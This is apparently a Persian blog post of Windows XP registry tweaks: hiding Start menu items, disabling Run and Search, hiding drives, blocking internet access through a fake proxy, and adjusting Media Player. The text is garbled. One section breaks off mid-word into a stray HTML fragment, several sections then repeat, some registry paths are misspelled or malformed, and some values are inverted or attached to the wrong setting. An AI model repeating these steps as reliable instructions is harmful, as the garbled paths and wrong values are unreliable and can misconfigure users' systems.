اکنون یک کلید جدید بسازید و نام برنامه ای که میخواهید در منوی  START  ظاهر روی آن بگذارید به آن کلید یک مقدار حروفی به نام NoStartPage  بدهید به این ترتیب برنامه ای که شما اسم آن را آورده اید دیگر در فهرست برنامه های اخیر اجرا شده ظاهر نخواهد گردید


بادکنک ها را بترکانید :

می داینم که ویندوز اکس پی خیلی هوای کاربر خود را دارد اما آن همه بادکنک های توضیحی و تذکراتی که از نوار تکلیف بلند میشود شور کار را در آورده است ! برای این که یک سوزن در نوار تکلیف بزارید کهخ دیگر بادکنک ها بالا نیایند و بترکند به کلید زیر بروید :

HKEY_CURRENT_USER\Software\Microsoft\Windows\/current Version\Explorer\Advanced

اکنون یه متغیر از نوع DWORD  بسازید و نام آن را enablebaloontips  بگذارید برای ترکاندن بادکنک ها مقدار آن را 0 قرار دهید


همان منوی start  قدیمی :

اگر از منوی start  ویندوز خوشتان نمی آید و همان منوی قدیمی را دوست دارید ابتدا

یک متغیر DWORD  بسازید و اسم آن را NOSimpleStartMenu  بگذارید و سپس مقدار آن را 1 قرار دهید با این کار منوی start  همان شکل قدیمی خود را پیدا میکند .


فهرست برنامه های اخیرا اجرا شده را از بین ببرید :

اگر شما نمی خواهید کسی بداند شما اخیرا از چه برنامه هایی استفاده کرده اید کل فهرستهای اخیرا اجرا شده را از منوی start  قطع کنید یک متغیر از جنس  DWORD  بسازید و نام آن را NoStartMenuMFUprogramslist  قرار دهید و مقدار آن را 0 قرار دهید با این کار فهرست تمام برنامه ها پاک خواهد شد


ارتقای ویندوز را از کار بندازید : 

اگر بخواهید کاربران را از ارتقای ویندوز منع کنید یک متغیر از نوع  DWORD  بسازید و نام آن را NoWindowsUpdate  گذاشته و مقدار آن را 1 قرار دهید توجه داشته باشید که این کار ویندوز را به طور کامل از ارتقای خودکار محروم میسازد


از بین بردن پوشه ها :

شما میتوانید با اضافه کردن متغیر های DWORD  تک تک پوشه های منوی START  را پاک کنید : برای برداشتن پوشه ی             MyMusic  متغیری از نوع DWORD  ساخته و نام آن را  NoStartMenuMyMusic  بگذارید و مقدار آن را 1 بدهید برای خلاص شدن از پوشه MyPictures  متغیردیگری از DWORD  ساخته و اسم آن را

NoSMMyPictures  گذاشته و مقدار آن را 1 قرار دهید و برای حذف پوشه ی Favorites  متغیر DWORD  دیگری ساخته و اسم آن را  NoRecentDocsMenu  گذاشته و مقدار آن را 1 قرار دهید


کنترل را در دست خود بگیرید ! :

ممکن است بخواهید یک کاربر خانگی یا اداری را از دسترسی به یک سری توابع خاص در منوی start  محروم کنید به عنوان مثال برای حذف کردن تابع search  از منوی start  متغیری از نوع DWORD  بسازید و نام آن را NoFind  بذارید و مقدار آن را 1 قرار دهید به این ترتیب تابع Search  از منوی start  محو خواهد شد

یک مورد دیگر حذف کردن تابع Run  میباشد برای این کار نیز متغیر دیگری از نوع DWORD  بسازید و اسم آن را NORun  بگذارید و مقدار آن را 1 قرار دهید .

و بالاخره برای این که جلوی انگولک کردن نوار تکالیف را توسط کاربران بگیرید متغیر دیکری تعریف کرده و اسم آن را NoSetTaskbar  بذارید و مقدار 1 به آن بدهید این کار باعث خواهد شد تا نوار تکلیف و منوی start  از پانل کنترل برداشته شوند


حذف کردن برنامه هایی که پاک نمیشوند !

به دلایلی که برای ما معلوم نیست بسیاری از برنامه ها به طور کامل پاک (uninstall  ) نمیشوند در نتیجه بسیاری از کاربران سعی می کنند با حذف پوشه یا شاخه آن برنامه مقدمات پاک شدن آن را انجام دهند اما نام چنین برنامه هایی برای همیشه در فهرست

Add\Remove Program  باقی خواهند ماند برای آنکه فهرست این برنامه ها را از بین ببریم باید از رجیستری استفاده کنیم :

ابتدا به کلید زیر بروید :

HKEY_LOCAL_MACHINE\Microsoft\Windows\Curent Version\uninstall

و سپس کلید متناظر با این کلید را باز کنید و حالا برنامه هایی را که نمی توانستید پاک کنید را از این جا حذف کنید تا برای همیشه از بین بروند


نام کاربری خود را عوض کنید :

شما یک فرصت برای مشخص کردن نام خود  و موسسه تان برای ویندوز ایکس پی دارید و آن هم موقعی است که در حال نصب ویندوز اکس پی هستید  اما  اگر لازم باشد بعد ها نام ها را عوض کنید چه باید کرد ؟ کار ساده ای ست را حل آن رفتن به کلید زیر میباشد :

HKEY_LOCAL_MACHINE\Software\Microsoft\windowsNT\Current version

حالا متغیر های  registered Owner  و registered Organization  را پیدا کرده و مقدار آنها را به نامهای مورد نظرتان تغییر دهید


مخفی کردن سطل زباله :

اگر بخواهید یک میز گار تر و تمیز داشته باشید شاید بهتر باشد سطل آشغال را از آن بردارید از  آن جا که این کار مستلزم پاک کردن یک کلید در رجیستری میباشد توسیه میکنم قبل از این کار یک نسخه پشتیبان از این کلید بگیرید . خوب حالا به سراغ کلید زیر بروید :

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\current version\ Explorer\Desktop\Namespace

اکنون کلیدی که در قاب سمت چپ با این برچسب مشخص شده است حذف کنید :

{645ff040-5081-101b-9f08-00aa002f954e}

این کار باعث از بین رفتن کلی سلط زباله نمیشود اما جلوی دسترسی کاربران به آن را میگیرد


تغییر دادن مهلت زمانی برنامه ها : 

وقتی که برنامه ای از کار میفتد ویندوز یک مقدار زمان مشخصی به آن فرصت میدهد تا سعی کند خود را از مخمصه نجات دهد اما اگر فکر میکنید این مهلت زمانی زیاد است میتوانید آن را کم کنید برای این ممنظور به کلید زیر بروید :

HKEY_CURRENT_USER\Control panel\Desktop

سپس متغیر  Hung app Timeout  را پیدا کنید مقدار این متغیر 500 است مقدار را طوری کم کنید که یک مهلت عادلانه نیز به برنامه مریض الاحوال داده شده باشد


تم و رنگ بندی صفحه ی خوش آمد گویی ویندوز را تغییر دهید :

به سراغ کلید زیر بروید :

HKEY_USER_DEFAULT\Software\Microsoft\Current version\Theme manager

اکنون متغیر  color Name  را پیدا کرده و سپس روی آن کلیک راست کرده و Modify  را انتخاب کنید و مقدار حوزه ی  value data  را به Metallic  تغییر دهید شستی  ok  را فشار دهید و از رجیستری خارج شوید کامپیوتر را از نو بوت کنید تا تغییرات را مشاهده نمایید


پیوند  Comments را از گوشه ی سمت راست نوار عنوان بردارید :

به کلید زیر بروید :

HKEY_CURRENT_USER\Control panel\Desktop

متغیر  lameButtonEnabled را از سمت راست پیدا کنید و سپس روی آن راست کلیک کرده و گزینه  modify  را انتخاب کرده مقدار آن را به 0 تغییر دهید و سپس کامپیوتر را از نو بوت کنید


برنامه های غیر ضروری را از کار بندازید :

نصب کردن برنامه های زیاد در کامپیوترتان میتواند رجیستری شما را با برنامه های غیر ضروری که در هنگام بالا آمدن کامپیوتر به اجرا در می آیند به هم بریزدو این باعث کندی کامپیوتر و اشفال بخشی از حافظه سیستم میشود برای از کار انداختن برنامه های غیر ضروری وارد رجیستری شوید و به سراغ این کلید بروید :

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Runonce

در اینجا میتوانید برنامه های غیر ضروری را حذف کنید کامپیوتر سپس کامپیوتر را از نو بوت کنید تا تغییرات را ملاحظه کنید


بوت شدن سریع ویندوز  

یک ویژگی جدید در ویندوز ایکس پی این است تمام فایلهای بوت را در کنار یکدیگر قرار میدهد و باعث یک بوت سریع تر میشود .

به صورت مادرزاد این گزینه فعال است اما در بعضی از نسخه های ویندوز این طور نیست برای به کار انداختن  آن به رجیستری رفته و به کلید زیر بروید :

HKEY_LOCAL_MACHINE\Software\/Microsoft\Dfrag

متغیر  BootOptimizeFunction را پیدا کرده و روی آن کلیک راست کرده و سپس از منوی آن گزینه modify  را برگزینید و سپس مقدار آن را به Y  تغییر دهید تا فعال شود


نمایش دادن پیغام در هنگام بالا آمدن ویندوز  xp  :

اگر بخواهید در هنگام بوت شدن ویندوز ایکس پی یک پیغام خوش آمد گویی یا هر پیغام دیگری که لازم باشد به اطلاع کاربران برسد به نمایش در آید به این ترتیب عمل کنید :

به کلید زیر بروید :

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\Current Version\Winlogon

کلید  legalnoticecaption  را با هر اسم دیکری که میخواهید روی پنجره پیغامتان باشد عوض کنید . کلید  Legalnoticetext  را به هر پیغامی که میخواهید دردل پنجره ی پیغام به نمایش درآید تغییر دهید کامپیوترتان را از نو بوت کنید تا تغییرات را ملاحظه نمایید


از کار انداختن اجرای خودکار سی دی به طور کامل در ویندوز ایکس پی:

این کار احتیاجی به رجیستری ندارد و یک راه ساده تر وجود دارد :

شستی start  را کلیک کنید و گزینه  run  را انتخاب کنید و فرمان gpedit.msc  را وارد کنید اکنون به  computer configuration  رفته و administrator templates  را کلیک کنید و زبانه ی system  را باز کنید در اینجا میتوانید گزینه ی مربوط به  turn auto off  را پیدا کرده و آن را مطابق میل خود تغییر دهید


برداشتن  my computer  از میز تحریر و منوی start   :

بعضی ها دوست ندارند کامپیوترشان بازیچه ی دست این و اون بشه بخاطر همین ترجیح میدهند که  my computer  را از روی میز تحریر یا منوی  start  بردارند روش کار طبق معمول از طریق انگولک کردن رجیستری میباشد .

ابتدا به رجیستری بروید و کلید زیر را پیدا کنید :

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version \ Policies\Nonennum

اکنون یک متغیر از نوع DWORD  بسازید و نام آن را به صورت زیر بنویسید :

{20D04FE0-3AEA-1069-A2D8-08002B30309D}

اگر به این متغیر مقدار 0 بدهید  MY COMPUTER  را محو خواهید کرد و اگر به آن مقدار 1 بدهید دوباره به جای خود باز میگردد . یک بار کامپیوتر خود را از نو راه اندازی کنید تا تغییرات را ملاحظه کنید


از کار انداختن راست کلیک در میز تحریر :

  وارد رجیستری شوید و کلید زیر را پیدا کنید :

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current version\Policies\Explorer

یک متغیر جدید از نوع DWORD  بسازید و اسم آن را NoViewContextMenu  را به آن بدهید با دادن مقدار صفر به این متغیر منوی مزبور را از کار میندازید و با دادن مقدار  1 به آن دوباره آن را به کار می اندازید . از رجیستری خارج شوید و ویندوز خود را از نو بوت کنید


برداشتن منوی file  از مرورگر ویندوز :

رجیستری را باز کرده و کلید زیر را پیدا کنید :

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\Policies\Explorer

یک متغیر جدید از نوع DWORD  بسازید و به آن نام NofileMenu  بدهید اگر به این متغیر مقدار صفر بدهید حذف و اگر مقدار 1 بدهید به جای خود باز میگردد حال ویندوز را از نو بوت کنید


مخفی کردن کلیه فقرات از میز تحریر :

وارد رجیستری شوید و کلید زیر را بیابید :

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

یک متغیر جدید از نوع DWORD  بسازید و اسم آن را NoDesktop  بگذارید اگر به این متغیر مقدار 1 بدهید کلیه فقرات حذف و با دادن مقدار 0 به حالت خود باز میگردد

اعمال این تغییرات نیاز به راه اندازی مجدد ویندوز دارد


از کار انداختن تمام منوهای ویندوز و شستی start  :

به کلید زیر بروید :

HKEY_CLASSES_ROOT\CLISID\

سپس کلید زیر را پیدا کنید :

{5b4dae26-b807-11d0-9815-00c04fd91972}

تنهاکاری که شما باید انجام بدهید تغییر دادن نام این کلید است که میتوانید با قرار دادن یک خط تیره قبل این نام این کار را انجام دهید که این کلید به شکل زیر در می آید :

{-5b4dae26-b807-11d0-9815-00c04fd91972}

با این کار تمام منوهای برنامه های متعارف ویندوز و همچنین شستی start  از کار می اندازد


برداشتن گزینه های Active Desktop  از منوی setting  :

گزینه های Active Desktop  تقریبا به هیچ دردی نمیخورد پس بهتر آن را پاک کنید تا محیط کارتان خلوت شود کلید زیر را در رجیستری پیدا کنید :

HKEY_LOCAL_MACHINE_Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

اکنون یک متغیر جدید از نوع DWORD  بسازید و نام آن را NoSetActiveDesktop  بذارید

اگر مقدار یک به آن بدهید تمام منوهای آن از بین میروند و اگر مقدار 0 بدهید دوباره ظاهر خواهند شد


جلوی دسترسی به اینترنت را بگیرید :

با انجام این کار میتوانید جلوی دسترسی به اینترنت را در تمام محصولات میکروسافت مثل مرورگر اینترنت و و افیس را بگیرید برای این کار وارد رجیستری شوید و کلید زیر را پیدا کنید :

HKEY_Current_user\Software\Microsoft\Windows\Current Version\Internet Setting

اکنون در قاب سمت راست متغیرهایی را میبینید که با بعضی از آنها باید دست و پنجه نرم کنید به یکی از این متغیر ها به نام Proxi Enable  مقدار 1 بدهید و مقدار متغیر proxi server  را تغییر داده و به آن یک نشانی آی پی و یک درگاه جعلی که در کامپیوترتان وجود ندارد بدهید مانند :10.0.0.1:5555  ( چهار عدد سمت چپ نشانی آی پی و چهار رقم سمت راست شماره ی درگاه را به صورت  Ip:Port  تشکیل میدهند


از کار انداختن سوابق اسناد اخیر :

معمولا وقتی که فایل یل سندی را باز میکنید نام ان به فهرست اسناد اخیر در منوی start  اضافه میشود این ترفند جلوی این کار را میگیرد :

کلید زیر را پیدا کنید :

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

یک متغیر جدید از جنس   DWORD   و به نام NoRecentDocsHistory  بسازید و مقدار یک به آن بدهید تا محدودیت مزبور اعمال گردد  حال کامپیوترتان را از نو بوت کنید


توضیحات سه مربع حداقل و حداکثر و بستن را از بین ببرید :

هر وقت ماوس را روی سه مربع کنترلی که در گوشه ی سمت راست فوقانی هر پنجره ی ویندوز وجود دارد حرکت کنید شرح مختصری در مورد هر کدام از آنها میبینید که این ترفند این توضیحات را از بین میبرد :

کلید زیر را پیدا کنید :

HKEY_CURRENT_USER\Control Panel \ Desktop

اکنون یک متغیر جدید از نوع حروفی یا string  بسازید و اسم آن را MinMaxClose بگذارید حال اگر مقدار 0 به آن بدهید توضیحات اضافی از کار می افتد و اگر مقدار 1 به آن بدهید مجددا این امکان برقرار میشود سیستمتان را از نو بوت کنید


مخفی کردن درایوها از My Computer  :

این ترفند به شما این امکان را میدهد که بعضی از درایوها را مخفی کنید یا حتی میتوانید تمام درایوها را مخفی کنید برای این کار وارد رجیستری شوید و این کلید را در آن پیدا کنید :

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version \ Policies\Explorer

متغیر به نام NoDrives  را از نوع dword  بسازید گردونه ها وقتی مقدارشان صفر باشد قابل دیدن هستند و اگر مقدارشان 1 باشد مخفی میشوند برای هر گردونه میتوانید به صورت زیر استفاده کنید :

A : 1

B : 2

C : 4

D : 8

E : 16

F : 32

G : 64

H : 128

I : 256

J : 512

K : 1024

والی آخر ....

برای مثال اگر بخواهید گردونه c  و گردوlign: justify"> برداشتن گزینه های Active Desktop  از منوی setting  :

گزینه های Active Desktop  تقریبا به هیچ دردی نمیخورد پس بهتر آن را پاک کنید تا محیط کارتان خلوت شود کلید زیر را در رجیستری پیدا کنید :

HKEY_LOCAL_MACHINE_Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

اکنون یک متغیر جدید از نوع DWORD  بسازید و نام آن را NoSetActiveDesktop  بذارید

اگر مقدار یک به آن بدهید تمام منوهای آن از بین میروند و اگر مقدار 0 بدهید دوباره ظاهر خواهند شد .


جلوی دسترسی به اینترنت را بگیرید :

با انجام این کار میتوانید جلوی دسترسی به اینترنت را در تمام محصولات میکروسافت مثل مرورگر اینترنت و و افیس را بگیرید برای این کار وارد رجیستری شوید و کلید زیر را پیدا کنید :

HKEY_Current_user\Software\Microsoft\Windows\Current Version\Internet Setting

اکنون در قاب سمت راست متغیرهایی را میبینید که با بعضی از آنها باید دست و پنجه نرم کنید به یکی از این متغیر ها به نام Proxi Enable  مقدار 1 بدهید و مقدار متغیر proxi server  را تغییر داده و به آن یک نشانی آی پی و یک درگاه جعلی که در کامپیوترتان وجود ندارد بدهید مانند :10.0.0.1:5555  ( چهار عدد سمت چپ نشانی آی پی و چهار رقم سمت راست شماره ی درگاه را به صورت  Ip:Port  تشکیل میدهند


از کار انداختن سوابق اسناد اخیر :

معمولا وقتی که فایل یل سندی را باز میکنید نام ان به فهرست اسناد اخیر در منوی start  اضافه میشود این ترفند جلوی این کار را میگیرد :

کلید زیر را پیدا کنید :

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

یک متغیر جدید از جنس   DWORD   و به نام NoRecentDocsHistory  بسازید و مقدار یک به آن بدهید تا محدودیت مزبور اعمال گردد  حال کامپیوترتان را از نو بوت کنید


توضیحات سه مربع حداقل و حداکثر و بستن را از بین ببرید :

هر وقت ماوس را روی سه مربع کنترلی که در گوشه ی سمت راست فوقانی هر پنجره ی ویندوز وجود دارد حرکت کنید شرح مختصری در مورد هر کدام از آنها میبینید که این ترفند این توضیحات را از بین میبرد :

کلید زیر را پیدا کنید :

HKEY_CURRENT_USER\Control Panel \ Desktop

اکنون یک متغیر جدید از نوع حروفی یا string  بسازید و اسم آن را MinMaxClose بگذارید حال اگر مقدار 0 به آن بدهید توضیحات اضافی از کار می افتد و اگر مقدار 1 به آن بدهید مجددا این امکان برقرار میشود سیستمتان را از نو بوت کنید


مخفی کردن درایوها از My Computer  :

این ترفند به شما این امکان را میدهد که بعضی از درایوها را مخفی کنید یا حتی میتوانید تمام درایوها را مخفی کنید برای این کار وارد رجیستری شوید و این کلید را در آن پیدا کنید :

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version \ Policies\Explorer

متغیر به نام NoDrives  را از نوع dword  بسازید گردونه ها وقتی مقدارشان صفر باشد قابل دیدن هستند و اگر مقدارشان 1 باشد مخفی میشوند برای هر گردونه میتوانید به صورت زیر استفاده کنید :

A : 1

B : 2

C : 4

D : 8

E : 16

F : 32

G : 64

H : 128

I : 256

J : 512

K : 1024

والی آخر ....

برای مثال اگر بخواهید گردونه c  و گردونه D  را مخفی کنید میبایست دو مقدار 4 برای درایو C  و 8 برای D  را با هم جمع کنید و مقدار 12 را بدست آورید این همان عددی است که باید به متغیر NoDrive  بدهید اما برای مخفی کردن تمام درایوها باید مقدار 67108863  را به متغیر NoDrive  بدهید .

برای این که تغییرات را ملاحظه کنید باید سیستم خود را از نو بوت کنید


جلوی دسترسی به محتویات درایو مورد نظرتان را بگیرید :

این ترفند فقط در ویندوزهای 2000 و xp  جواب میده و کار میکنه و کارش اینه که مانع دسترسی کاربران به درایوها  از طریق mycomputer  یا Explorer   میشه به علاوه به اجرا در آوردن فرمان Run  یا dir  نیز نمیتواند موجب نمایش شاخه های این گردونه شود

وارد رجیستری شوید و کلید زیر را پیدا کنید :

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version \ Policies\Explorer

اکنون متغیری به نام NoViewDrive  را از جنس DWORD  بسازید وظیفه ی این متغیر دادن اجازه ی دسترسی به هر یک از گردونه های مجازی کامپیوترتان است .

درایوها وقتی مرئی هستند که مقدار صفر را به آن بدهید و هنگامی نامرئی میشوند که به آن مقدار 1 را بدهید .

مثل ترند قبل از جدول زیر استفاده کنید :

A : 1

B : 2

C : 4

D : 8

E : 16

F : 32

G : 64

H : 128

I : 256

J : 512

K : 1024

به عنوان مثال اگر بخواهید درایو C  و D  را مخفی کنید باید عدد 4 و 8 را با هم جمع کنید و مقدار آن را به متغیر بدهید .

اگر بخواهید تمام متغیر ها را مخفی کنید مقدار 67108863  را به این متغیر بدهید


تغییر دادن نام و شکلک درایوها :

رجیستری را باز کنید و کلید زیر را پیدا کنید :

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version \Explorer\DriveIcons

اکنون یک کلید فرعی آن هم فقط با یک حرف که متناظر با درایو مورد نظرتان باشد بسازید برای مثال D  در داخل این کلید فرعی یک کلید فرعی دیگر به نام DefaultIcon  بسازید ( توجه داشته باشید  که نام درایوی که میسازید باید به صورت زیر شاخه باشد یعنی شما درواقع باید یه فولدر بسازید نه یک متغیر !!! پس خوب دقت کنید این فایل به صورت زیر باید ساخته شود و نشان داده شود :

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version \Explorer\DriveIcons\D

و مقدار پیش فرض آن یعنی Default  را مطابق با نام و خط سیر کامل فایل آیکون مورد نظر را تعیین کنید .

باز هم از داخل کلید فرعی حرف درایو ، یک کلید فرعی دیگر به نام defaultlabel  ( یادتون باشه کلید نه متغیر ) و مقدار پیش فرض آن یعنی default  را مطابق با نام درایو مورد نظرتان تعیین نمایید مانند : My Zip Drive

حال سیستم خود را از نو بوت کنید

 


حذف آخرین PlayList  از media Player    :

ابتدا وارد رجیستری شوید و کلید زیر را پیدا کنید :

HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Player

و جهت حذف لیست فایلهای پخش شده " زیر کلید " زیر را یافته محتویات آن را حذف کنید :

…\RecentFileList

و جهت حذف URL  های پخش شده " زیر کلید " زیر را یافته محتویات آن را حذف نمایید :

 


فعال کردن ویژگیهای مربوط به DVD  در MediaPlayer  :

این امکان باعث میشود در  MediaPlayer  ، DVD  نمایش داده شود ، ابتدا کلید زیر را پیدا کنید :

HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Player\Settings

یک متغیر جداد از نوع string  با نام EnableDVDUI  ایجاد کنید و مقدار آن را جهت فعال شده yes  قرار دهید .


تغییر دادن عنوان پنجره  MediaPlayer  :

کلید زیر را پیدا کنید :

HKEY_CURRENT_USER\Software\Policies\Microsoft\WindowsMediaPlayer

( در صورتی که کلید windosmediaplayer  وجود نداشت آن را بسازید ) در پنل سمت جپ روی کلید Microsoft  کلیک راست کنید و گزینه key  را انتخاب نمایید تا یک کلید جدید ساخته شود نام آنرا به WindowsMediaPlayer  تغییر دهید و در پنل سمت راست موارد زیر را انجام دهید :

یک مقدار جدید از نوع String  به نام Title Bar  ایجاد کرده و عنوان مورد نظر خود را در آن قرار دهید

 


نشان دادن فایلهای با پسوند *.dat     :

کلید زیر را پیدا کنید :

HKEY_LOCAL_MACHIN >  Software > Microsoft > Player > extensions

به Description برويد و با Right-Click کردن در ناحيه قاب سمت راست يک String value جديد به نام 8 درست کنيد(اگر آخرين کليد موجود 7 ميباشد).
 بر روی مقدار جديد ساخته شده دوبار کليک کنيد و Value data را برابرVideo CD (*.dat) قرار دهید.

به Types برويد و دوباره مانند مرحله قبل يک String Value جديد ايجاد کنيد و مقدار آن را اين بار فقط برابر dat.* قرار دهيد.

بسته به نسخه ای از Media Player که استفاده ميکنيد ممکن است يک پوشه به نام MUIDescription هم موجود باشد. اگر چنين بود يک String value مانند مراحل قبل ايجاد کنيد و Value Data آن را برابر با Video CD قرار دهيد.
Registry Editor را ببنديد و Media Player را باز کنيد و از منوی File گزينه Open را انتخاب کنيد.
برای اطمينان از اعمال موفقيت آميز تغييرات Files of type را باز کنيد تا مطمئن شويد Video CD در آن ليست شده است.

 


نمایش آیکونهای ویندوز به صورت  high color  (بالاترین کیفیت ) :

اگر علاقمند هستید که آیکونهای ویندوز را با کمی کیفیت بالاتر و جزئیات بیشتری ملاحطه نمائید از این روش استفاده کنید در نتیجه ویندوز آیکونها را با تمام کیفیت خود نشان میدهد :

ابتدا برنامه regedit  را اجرا کنید (run >>> regedit )

کلید زیر را بیابید :

HKEY _CURRENT_USER\CONTROL Panel \  Desktop\WindowsMetrics

 سپس یک مقدار جدید از نوع STRING  با نام  SHELL ICON BPP  بسازید (در صورتیکه وجود نداشت) و مقدار آن را برابر توان کارت گرافیکی خود قرار دهید طبق مقدارهای زیر :

256 = 256 COLOR BIT

16=16 BIT COLOR

24 = 24 BIT COLOR

32 = 32 BIT COLOR

برای مشاهده مخصوص تغییرات ابتدا مقدار آن را 256 قرار داده و سیستم را  RESTART  کنید و دوباره مقدار آن را اینبار به 32 تغییر دهید و سیستم را  RESTART  کنید تا  تفاوت آن را احساس کنید .

 


فعال کردن کلید  NUMLOCK  هنگام بوت شدن ویندوز :

-برنامه  REGEDIT  را باز کنید .

-کلید زیر را پیدا کنید :

HKEY_CURENT_USER\CONTROL PANEL\KEYBOARD

یک متغیر از نوع STRING  با عنوان INITIALKEYBOARDLNDICATOR  ایجاد کرده و مقدار آن را 2 قرار دهید .


تعیین برنامه جهت اجرای سی دی های صوتی قرار داده شده در CDROM  :

کلید زیر را پیدا کنید :

HKEY_CLASSES_ROOT\AudioCD\Shell\Play\Command

یک متغیر به نام default  در اینجا موجود است که معمولا توسط خود ویندوز به  Media Player ست شده است حال اگر قصد تغییر آنرا دارید به صورت زیر عمل کنید :

تنظیم برای Winamp  :

"C:\Program File\Winamp3\Winamp3.exe" /CD:%1

یا اگر از برنامه دیگری استفاده میکنید آدرس آنرا وارد کنید .

حال جهت فعال شدن سیستم را reset  کنید .


کنترل کردن AUTORUN  :

کلید زیر را پیدا کنید :

HKEY_LOCAL_MACHINE\CurrentControlSet\Services\CDRom

یک متغیر از نوع DWORD   و با نام AUTORUN  ایجاد کنید و برای اینکه AUTORUN   سی دی ها را از کار بندازید به آن مقدار صفر و برای فعال کردن آن مقدار یک

 


-تغییر مسیر تصاویر زمینه (walpaper  ) :

همان طور که میدانید تصاویر زمینه ویندوز قبل از نمایش در شاخه اصلی ویندوز قرار میگیرند در صورتی که بخواهید مسیری دلخواه را برای گرد آوری و نمایش تصاویر زمینه اختیار نمایید ابتدا کلید زیر را پیدا کنید :

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\currentVersion

یک متغیر از نوع Expandable String Value  ایجاد کنید و نام آن را مسیر دلخواه خود که تصاویر در آن وجود دارند قرار دهید و مقدار آنرا %SystemRoot%\Web\Wallpaper  قرار دهید ( توجه : ممکن ااست در بعضی از نگارش های ویندوز این متغیر وجود داشته باشد با نام WallpaperDir  اگر چنین متغیری را پیدا کردید نام آنرا به آدرس یا مسیر مورد نظر خود تغییر دهید )

 


افزودن متن به ساعت سیستم :

به کلید زیر بروید :

HKEY_CURRENT_USER\Control Panel \ International

حال یک متغیر از نوع String  ایجاد کرده و نام آنرا S1159  ( در صورتی که از قبل ایجاد نشده باشد ) قرار دهید و متن دلخواه خود را در آن وارد نمایید .

حال متغیر دیگری از نوع STRING  بسازید و نام آنرا S2359  قرار دهید و متن دلخواه دیگری در آن قرار دهید . توجه داشته باشید که در ویندوزهای عربی یا فارسی میتوان متن را به فارسی نوشت

 


تغییر رنگ های ویندوز :

هنگامی که الگوی رنگ ویندوز را از طریق Propertice  ویندوز تغییر میدهید مشاهده میشود که برخی از رنگ ها ثابت بوده و قابل تغییر نیستند برای برطرف کردن این موضوع به کلید زیر بروید :

HKEY_USERS\Default\Control Panel \ Colors

در این جا کلید عناصر تصویر قابل دسترس میباشند که شما میتوانید آنها را تغییر دهید رنگها به صورت کد رنگ میباشند که با دادن شماره های 1 تا 255 میتوانید رنگها را مشاهده کنید


تنظیم پنجره خوش آمدگویی ویندوز :

به کلید زیر بروید :

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \ CurrentVersion\Explorer\Tips

                خوب شما میتوانید در این قسمت 48 نکته در ویندوز 98 و 95 و 50 نکته در XP  و NT  قرار دهید که در هنگام بالا آمدن ویندوز برای شما نمایش دهد شما میتوانید متغیرهایی از نوع STRING VALUE  بسازید و به آن نامی از 0 تا 50 بدهید و نکات خود را در آن قرار دهید تا با هر بار بالا آمدن ویندوز به نمایش درآید این نکته بسیار بسیار جالبی است که خیلی کارا میشه باهاش کرد مانند نکاتی که میخواهیم کاربران ویندوز آنها را رعایت کنند و ....

+ نوشته شده در  ساعت   توسط اسماعیل  | 

رجیستری چیست :

رجیستری پایگاه داده ای است با پیکر درختی  که در آن اطلاعات مربوط به کامپیوتر ، کاربران ، ابزار جانبی متصل به کامپیوتر و نوع سیستم عامل آن.

 برای وارد شدن به رجیستری باید ابتدا به منوی Start  رفته و سپس گزینه ی Run  را انتخاب کنید و در کادر مربوط به آن عبارت RegEdit  را تایپ کنید و گلید enter را فشار دهید . 

 در رجیستری واژه هایی وجود دارد که شما باید آنها را بدانید :

1-    کلید :

شاخه هایی که در سمت چپ پنجره ظاهر شده اند را کلید میگویند که یک کلید میتواند حاوی چند زیر شاخه باشد به عنوان مثال زیر کلید Software  یکی از زیر کلید های کلید Hkey_Current_user میباشد .

2-    داده یا متغیر :

به رشته ای از اطلاعات که در ناحیه سمت راست پنجره قرار میگیرد و محتویات کلید جاری را مشخص میکند داده یا متغیر میگویند یک داده از سه قسمت تشکیل میشوند : نام ، نوع داده یا متغیر و خود داده.

+ نوشته شده در  ساعت   توسط اسماعیل  |